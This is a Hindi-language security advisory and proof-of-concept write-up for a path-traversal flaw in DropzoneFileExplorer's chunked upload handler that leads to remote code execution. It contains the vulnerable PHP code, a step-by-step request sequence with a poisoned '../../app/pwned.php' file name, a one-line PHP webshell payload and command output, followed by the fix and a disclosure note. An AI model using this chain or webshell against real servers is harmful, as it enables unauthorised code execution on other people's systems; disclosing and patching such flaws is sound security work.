
CVE-2026-104826 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट चेन, जो DropzoneFileExplorer के चंक्ड अपलोड हैंडलर में एक पाथ ट्रैवर्सल है जो रिमोट कोड एक्ज़ीक्यूशन के लिए एक PHP वेबशेल लिखता है।
resumable (chunked) अपलोड हैंडलर क्लाइंट द्वारा दिए गए fileName पर fopen() तक पूरा भरोसा करता है। इसमें ../../ डालें और आप अपने अनुमत फ़ोल्डर के बाहर, स्टोरेज रूट के बाहर, वेब रूट में लिख देंगे। ऐप PHP सर्व करता है, इसलिए आपके द्वारा रखी गई फ़ाइल चल जाती है।
प्रोजेक्ट: KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| Advisory | GHSA-7626-89vx-5rpc |
| Class | CWE-22 (Path Traversal) -> CWE-434 -> RCE |
| Auth | authenticated by default, unauthenticated if AUTH_ENABLE=false |
| CVSS v4.0 | 8.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| Affected | v1.1 (tested at commit 68858e0) |
| Fixed in | v1.2 |
| Credit | Kanarat Kaeothong (Axiom0x) |
दो फ़ंक्शन मायने रखते हैं। uploadInit रिक्वेस्ट बॉडी से fileName लेता है और उसे केवल एक trim() के साथ रखता है (inc/functions.php, लगभग L2080):
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
uploadFinalize बाद में इसे वापस पढ़ता है और आउटपुट पाथ बनाता है (inc/functions.php, L2192-2216):
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() अपने आप में ठीक है। यह realpath() कॉल करता है और सुनिश्चित करता है कि पाथ उपयोगकर्ता के रूट्स के अंदर ही रहे। समस्या यह है कि इसे क्या सौंपा जाता है। $destBaseAbs और $finalDirAbs दोनों मान्य किए जाते हैं, लेकिन $finalAbs, जिसमें वास्तव में हमलावर का fileName होता है, कभी मान्य नहीं किया जाता। fopen() को कच्ची .../shared/../../app/shell.php स्ट्रिंग मिलती है और OS आपके लिए .. को समेट देता है।
ध्यान देने योग्य: इस कोडबेस में हर अन्य राइट पाथ या तो बनाए गए पाथ को ensure_inside_allowed_roots() से गुज़ारता है या नाम को basename() में लपेटता है। यह वाला दोनों में से कुछ नहीं करता। यह ऐसा लगता है जैसे इसे रिफैक्टर किया गया और अंतिम जाँच खो गई।
स्टॉक v1.1, डिफ़ॉल्ट कॉन्फ़िग (AUTH_ENABLE=true)। अभिनेता एक सामान्य उपयोगकर्ता lowpriv है जिसका एकमात्र फ़ोल्डर shared है।
lowpriv के रूप में लॉग इन करें (लॉगिन पेज से CSRF टोकन लें, फिर POST करें
auth_action=login)।
पुष्टि करें कि सैंडबॉक्स वास्तव में काम करता है। किसी और के फ़ोल्डर में सीधे अपलोड करना अस्वीकार कर दिया जाता है:
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
अनुमत फ़ोल्डर का उपयोग करें, लेकिन fileName को ज़हरीला बनाएं:
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
पेलोड को एक चंक के रूप में भेजें:
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
फ़ाइनलाइज़ करें:
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
रिस्पॉन्स app/pwned.php बताता है। ऐप खुद आपको बता रहा है कि उसने shared के बाहर
और स्टोरेज रूट के बाहर लिखा है।
इसे चलाएं:
GET /pwned.php?c=id
-> uid=... (command output)
स्थानीय इंस्टेंस के विरुद्ध मेरे अपने रन से:
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
पूरी चेन (लॉगिन, CSRF, ज़हर, चंक, फ़ाइनलाइज़, निष्पादन) के लिए poc/exploit.py देखें।
अपलोड करने की अनुमति रखने वाला कोई भी व्यक्ति ऐसी फ़ाइल लिख सकता है जहाँ PHP प्रोसेस लिख सकता है, चाहे प्रति-उपयोगकर्ता फ़ोल्डर नियम कुछ भी कहें। वेब रूट में एक .php फ़ाइल वेब उपयोगकर्ता के रूप में रिमोट कोड एक्ज़ीक्यूशन है। AUTH_ENABLE=false के साथ कोई लॉगिन चरण नहीं है और यह सीधा अनऑथेंटिकेटेड RCE है।
uploadFinalize में, fileName को खोलने से पहले उसे एक बेयर नाम तक काटें, और बनाए गए पाथ को फिर से जाँचें:
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
अकेला basename() ट्रैवर्सल रोक देता है। ensure_inside_allowed_roots($finalAbs) जाँच जोड़ना बेल्ट-एंड-सस्पेंडर्स वाला संस्करण है, और यह उस तरीके से मेल खाता है जैसे बाकी कोड पहले से ही राइट्स की रक्षा करता है। यही उपचार rename पॉलिसी ब्रांच (लगभग L2210) पर भी लागू करना होगा जहाँ $finalName फिर से गणना किया जाता है। मेंटेनर ने इसे v1.2 में लैंड किया।
समन्वित डिस्क्लोज़र, इसके सार्वजनिक होने से पहले ठीक किया गया। PoC जानबूझकर एक स्थानीय टेस्ट इंस्टेंस पर लक्षित है। इसे किसी ऐसी चीज़ पर न दिशा दें जो आपकी न हो।